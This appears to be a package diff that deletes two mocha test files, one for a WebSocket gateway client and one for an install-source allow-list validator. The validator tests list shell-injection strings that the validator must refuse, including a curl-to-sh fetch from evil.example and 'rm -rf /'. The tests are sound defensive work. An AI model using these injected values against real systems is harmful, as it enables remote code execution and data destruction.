@agenthippo-ai/agenthippo 1.110.9 → 1.110.19

package/out/test/gateway-client.test.js

@@ -1,409 +0,0 @@
-"use strict";
-/*---------------------------------------------------------------------------------------------
- *  Copyright (c) AgentHippo.ai. All rights reserved.
- *--------------------------------------------------------------------------------------------*/
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    var desc = Object.getOwnPropertyDescriptor(m, k);
-    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
-      desc = { enumerable: true, get: function() { return m[k]; } };
-    }
-    Object.defineProperty(o, k2, desc);
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || (function () {
-    var ownKeys = function(o) {
-        ownKeys = Object.getOwnPropertyNames || function (o) {
-            var ar = [];
-            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
-            return ar;
-        };
-        return ownKeys(o);
-    };
-    return function (mod) {
-        if (mod && mod.__esModule) return mod;
-        var result = {};
-        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
-        __setModuleDefault(result, mod);
-        return result;
-    };
-})();
-Object.defineProperty(exports, "__esModule", { value: true });
-require("mocha");
-const assert = __importStar(require("assert"));
-const client_js_1 = require("../gateway/client.js");
-const protocol_js_1 = require("../gateway/protocol.js");
-// =============================================================================
-// Mock WebSocket
-// =============================================================================
-class MockWebSocket {
-    url;
-    static OPEN = 1;
-    static CLOSED = 3;
-    static CONNECTING = 0;
-    static CLOSING = 2;
-    readyState = MockWebSocket.CONNECTING;
-    onopen = null;
-    onmessage = null;
-    onerror = null;
-    onclose = null;
-    sentMessages = [];
-    constructor(url) {
-        this.url = url;
-        // Simulate async connection
-        setTimeout(() => {
-            this.readyState = MockWebSocket.OPEN;
-            this.onopen?.({});
-        }, 0);
-    }
-    send(data) {
-        this.sentMessages.push(data);
-    }
-    close() {
-        this.readyState = MockWebSocket.CLOSED;
-        this.onclose?.({ code: 1000, reason: '', wasClean: true });
-    }
-    // Test helpers
-    simulateMessage(frame) {
-        this.onmessage?.({ data: JSON.stringify(frame) });
-    }
-    simulateError() {
-        this.onerror?.({});
-    }
-    simulateClose(code = 1000, reason = '') {
-        this.readyState = MockWebSocket.CLOSED;
-        this.onclose?.({ code, reason, wasClean: code === 1000 });
-    }
-}
-// =============================================================================
-// Test Setup
-// =============================================================================
-let mockWs;
-const originalWebSocket = globalThis.WebSocket;
-function setupMockWebSocket() {
-    globalThis.WebSocket = class extends MockWebSocket {
-        constructor(url) {
-            super(url);
-            mockWs = this;
-        }
-    };
-}
-function teardownMockWebSocket() {
-    if (originalWebSocket) {
-        globalThis.WebSocket = originalWebSocket;
-    }
-}
-// Helper to create client info
-function createClientInfo() {
-    return {
-        id: 'test-client',
-        displayName: 'Test Client',
-        version: '1.0.0',
-        platform: 'test',
-        mode: protocol_js_1.GATEWAY_CLIENT_MODES.AGENT_BACKEND,
-    };
-}
-// Helper to simulate hello-ok response
-function simulateHelloOk(requestId) {
-    const helloOk = {
-        type: 'hello-ok',
-        protocol: protocol_js_1.PROTOCOL_VERSION,
-        server: { version: '1.0.0', connId: 'test-conn-123' },
-        features: { methods: ['agent.run'], events: ['chat'] },
-    };
-    mockWs.simulateMessage({ type: 'res', id: requestId, ok: true, payload: helloOk });
-}
-// =============================================================================
-// Connect Tests
-// =============================================================================
-suite('GatewayClient - connect', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('sends connect request and resolves with hello-ok', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        const connectPromise = client.connect(clientInfo);
-        // Wait for WebSocket to "connect"
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        // Verify connect request was sent
-        assert.strictEqual(mockWs.sentMessages.length, 1);
-        const sentFrame = JSON.parse(mockWs.sentMessages[0]);
-        assert.strictEqual(sentFrame.type, 'req');
-        assert.strictEqual(sentFrame.method, 'connect');
-        const sentParams = sentFrame.params;
-        assert.strictEqual(sentParams.minProtocol, protocol_js_1.PROTOCOL_VERSION);
-        assert.strictEqual(sentParams.maxProtocol, protocol_js_1.PROTOCOL_VERSION);
-        // Simulate hello-ok response
-        simulateHelloOk(sentFrame.id);
-        const result = await connectPromise;
-        assert.strictEqual(result.type, 'hello-ok');
-        assert.strictEqual(result.server.connId, 'test-conn-123');
-        assert.strictEqual(client.isConnected, true);
-    });
-    test('includes token in auth if provided', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789', token: 'secret-token' });
-        const clientInfo = createClientInfo();
-        client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const sentFrame = JSON.parse(mockWs.sentMessages[0]);
-        assert.deepStrictEqual(sentFrame.params.auth, { token: 'secret-token' });
-    });
-});
-// =============================================================================
-// Request Tests
-// =============================================================================
-suite('GatewayClient - request', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('sends request and resolves with response payload', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect first
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        // Make a request
-        const requestPromise = client.request('agents.register', {
-            agent: { id: 'test-agent' },
-        });
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        assert.strictEqual(mockWs.sentMessages.length, 2);
-        const requestFrame = JSON.parse(mockWs.sentMessages[1]);
-        assert.strictEqual(requestFrame.method, 'agents.register');
-        // Simulate response
-        mockWs.simulateMessage({
-            type: 'res',
-            id: requestFrame.id,
-            ok: true,
-            payload: { agentId: 'test-agent' },
-        });
-        const result = await requestPromise;
-        assert.strictEqual(result.agentId, 'test-agent');
-    });
-    test('rejects with error on failed response', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        const requestPromise = client.request('agents.register', { agent: { id: 'test' } });
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const requestFrame = JSON.parse(mockWs.sentMessages[1]);
-        mockWs.simulateMessage({
-            type: 'res',
-            id: requestFrame.id,
-            ok: false,
-            error: { code: 'AGENT_ALREADY_REGISTERED', message: 'Agent already exists' },
-        });
-        await assert.rejects(requestPromise, /Agent already exists/);
-    });
-});
-// =============================================================================
-// Respond Tests
-// =============================================================================
-suite('GatewayClient - respond', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('sends response frame', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        client.respond('req-123', { text: 'Hello world', runId: 'run-1' }, true);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        assert.strictEqual(mockWs.sentMessages.length, 2);
-        const responseFrame = JSON.parse(mockWs.sentMessages[1]);
-        assert.strictEqual(responseFrame.type, 'res');
-        assert.strictEqual(responseFrame.id, 'req-123');
-        assert.strictEqual(responseFrame.ok, true);
-        assert.deepStrictEqual(responseFrame.payload, { text: 'Hello world', runId: 'run-1' });
-    });
-});
-// =============================================================================
-// SendEvent Tests
-// =============================================================================
-suite('GatewayClient - sendEvent', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('sends event frame for streaming', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        client.sendEvent('agent.stream', {
-            runId: 'run-123',
-            agentId: 'ide-live',
-            sessionKey: 'session-456',
-            state: 'delta',
-            text: 'Hello',
-        });
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        assert.strictEqual(mockWs.sentMessages.length, 2);
-        const eventFrame = JSON.parse(mockWs.sentMessages[1]);
-        assert.strictEqual(eventFrame.type, 'event');
-        assert.strictEqual(eventFrame.event, 'agent.stream');
-        assert.deepStrictEqual(eventFrame.payload, {
-            runId: 'run-123',
-            agentId: 'ide-live',
-            sessionKey: 'session-456',
-            state: 'delta',
-            text: 'Hello',
-        });
-    });
-});
-// =============================================================================
-// Event Handling Tests
-// =============================================================================
-suite('GatewayClient - events', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('emits request event for server-initiated requests', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        let receivedFrame;
-        client.on('request', (frame) => {
-            receivedFrame = frame;
-        });
-        // Simulate server-initiated agent.run request
-        const agentRunRequest = {
-            type: 'req',
-            id: 'server-req-1',
-            method: 'agent.run',
-            params: {
-                message: 'Hello from WhatsApp',
-                agentId: 'ide-live',
-                sessionKey: 'whatsapp:+1234567890',
-                idempotencyKey: 'idem-123',
-            },
-        };
-        mockWs.simulateMessage(agentRunRequest);
-        assert.ok(receivedFrame, 'Should have received the request');
-        assert.strictEqual(receivedFrame.method, 'agent.run');
-        const receivedParams = receivedFrame.params;
-        assert.strictEqual(receivedParams.message, 'Hello from WhatsApp');
-    });
-    test('drops frames larger than the cap instead of parsing them', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        let receivedFrame;
-        let errorMessage = '';
-        client.on('request', (frame) => {
-            receivedFrame = frame;
-        });
-        client.on('error', (err) => {
-            errorMessage = err.message;
-        });
-        mockWs.simulateMessage({
-            type: 'req',
-            id: 'server-req-huge',
-            method: 'agent.run',
-            params: {
-                message: 'x'.repeat(client_js_1.MAX_GATEWAY_FRAME_BYTES + 1),
-                idempotencyKey: 'idem-huge',
-            },
-        });
-        assert.strictEqual(receivedFrame, undefined, 'Oversized frame must not be dispatched');
-        assert.ok(errorMessage.includes('exceeds'), `Expected a size error, got: ${errorMessage}`);
-    });
-    test('emits event:name for Gateway events', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        let receivedPayload = null;
-        client.on('event:agents.updated', (payload) => {
-            receivedPayload = payload;
-        });
-        mockWs.simulateMessage({
-            type: 'event',
-            event: 'agents.updated',
-            payload: { action: 'register', agentId: 'new-agent' },
-        });
-        assert.ok(receivedPayload, 'Should have received the event');
-        assert.deepStrictEqual(receivedPayload, { action: 'register', agentId: 'new-agent' });
-    });
-});
-// =============================================================================
-// Close Handling Tests
-// =============================================================================
-suite('GatewayClient - close', () => {
-    setup(() => {
-        setupMockWebSocket();
-    });
-    teardown(() => {
-        teardownMockWebSocket();
-    });
-    test('emits a helpful error message for WebSocket close code 1011', async () => {
-        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
-        const clientInfo = createClientInfo();
-        // Connect
-        const connectPromise = client.connect(clientInfo);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
-        simulateHelloOk(connectFrame.id);
-        await connectPromise;
-        let errorMessage = '';
-        client.on('error', (err) => {
-            errorMessage = err.message;
-        });
-        mockWs.simulateClose(1011);
-        await new Promise((resolve) => setTimeout(resolve, 10));
-        assert.match(errorMessage, /1011/i);
-        assert.match(errorMessage, /internal error/i);
-    });
-});

package/out/test/gateway-install-source.test.js

@@ -1,111 +0,0 @@
-"use strict";
-/*---------------------------------------------------------------------------------------------
- *  Copyright (c) AgentHippo.ai. All rights reserved.
- *
- *  `agentide.anywhere.installSource` names a package that is installed globally and whose
- *  postinstall runs as the user. The old guard was a character BLOCKLIST that did not include the
- *  double quote, while the value was interpolated into `--source "${installSource}"`.
- *--------------------------------------------------------------------------------------------*/
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    var desc = Object.getOwnPropertyDescriptor(m, k);
-    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
-      desc = { enumerable: true, get: function() { return m[k]; } };
-    }
-    Object.defineProperty(o, k2, desc);
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || (function () {
-    var ownKeys = function(o) {
-        ownKeys = Object.getOwnPropertyNames || function (o) {
-            var ar = [];
-            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
-            return ar;
-        };
-        return ownKeys(o);
-    };
-    return function (mod) {
-        if (mod && mod.__esModule) return mod;
-        var result = {};
-        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
-        __setModuleDefault(result, mod);
-        return result;
-    };
-})();
-Object.defineProperty(exports, "__esModule", { value: true });
-require("mocha");
-const assert = __importStar(require("assert"));
-// Imported from `gateway/installSource` rather than `gateway/lifecycle`: the rule was moved into
-// its own `vscode`-free module precisely so it can be exercised without the extension host.
-const installSource_1 = require("../gateway/installSource");
-function ok(source) {
-    return (0, installSource_1.validateAnywhereInstallSource)(source).ok;
-}
-suite('anywhere install source allow-list', () => {
-    test('accepts the shipped default, unchanged', () => {
-        // The pinned default carries a written rationale for refusing @latest; it must keep working.
-        assert.ok(ok('@agenthippo-ai/hippoclaw@2026.7.28'));
-    });
-    test('accepts the documented override forms', () => {
-        assert.ok(ok('@agenthippo-ai/hippoclaw@latest'));
-        assert.ok(ok('openclaw@latest'));
-        assert.ok(ok('openclaw'));
-        assert.ok(ok('openclaw@^1.2.3'));
-        assert.ok(ok('github:agenthippoai/hippoclaw'));
-        assert.ok(ok('github:agenthippoai/hippoclaw#main'));
-        assert.ok(ok('/Users/me/dev/hippoclaw'));
-        assert.ok(ok('./hippoclaw'));
-        assert.ok(ok('C:\\dev\\hippoclaw'));
-        assert.ok(ok('https://registry.example.com/hippoclaw-1.0.0.tgz'));
-    });
-    test('the double quote — the character the old blocklist missed — is refused', () => {
-        // `--source "a" ; curl evil | sh ; "` was the whole exploit.
-        assert.ok(!ok('a" ; curl https://evil.example/x | sh ; "'));
-        assert.ok(!ok('pkg"'));
-    });
-    test('classic shell metacharacters are refused', () => {
-        for (const bad of [
-            'pkg; rm -rf /',
-            'pkg && curl evil',
-            'pkg | sh',
-            'pkg `id`',
-            'pkg $(id)',
-            'pkg\nrm -rf /',
-            'pkg\rwhoami',
-            "pkg' ; id ; '",
-            'pkg>out',
-            'pkg<in',
-        ]) {
-            assert.ok(!ok(bad), `expected refusal for ${JSON.stringify(bad)}`);
-        }
-    });
-    test('an http (not https) tarball URL is refused', () => {
-        assert.ok(!ok('http://registry.example.com/x.tgz'));
-    });
-    test('an https URL that is not a tarball is refused', () => {
-        assert.ok(!ok('https://evil.example/install.sh'));
-    });
-    test('empty and whitespace-padded values are refused', () => {
-        assert.ok(!ok(''));
-        assert.ok(!ok('   '));
-        assert.ok(!ok(' openclaw'));
-        assert.ok(!ok('openclaw '));
-        assert.ok(!ok('openclaw --foo'));
-    });
-    test('every refusal names the accepted forms', () => {
-        for (const bad of ['pkg; id', '', 'openclaw ', 'https://evil.example/install.sh']) {
-            const result = (0, installSource_1.validateAnywhereInstallSource)(bad);
-            assert.strictEqual(result.ok, false, bad);
-            if (!result.ok) {
-                assert.ok(result.reason.includes('npm specifier'), `the message for ${JSON.stringify(bad)} must tell the user what IS accepted`);
-            }
-        }
-    });
-});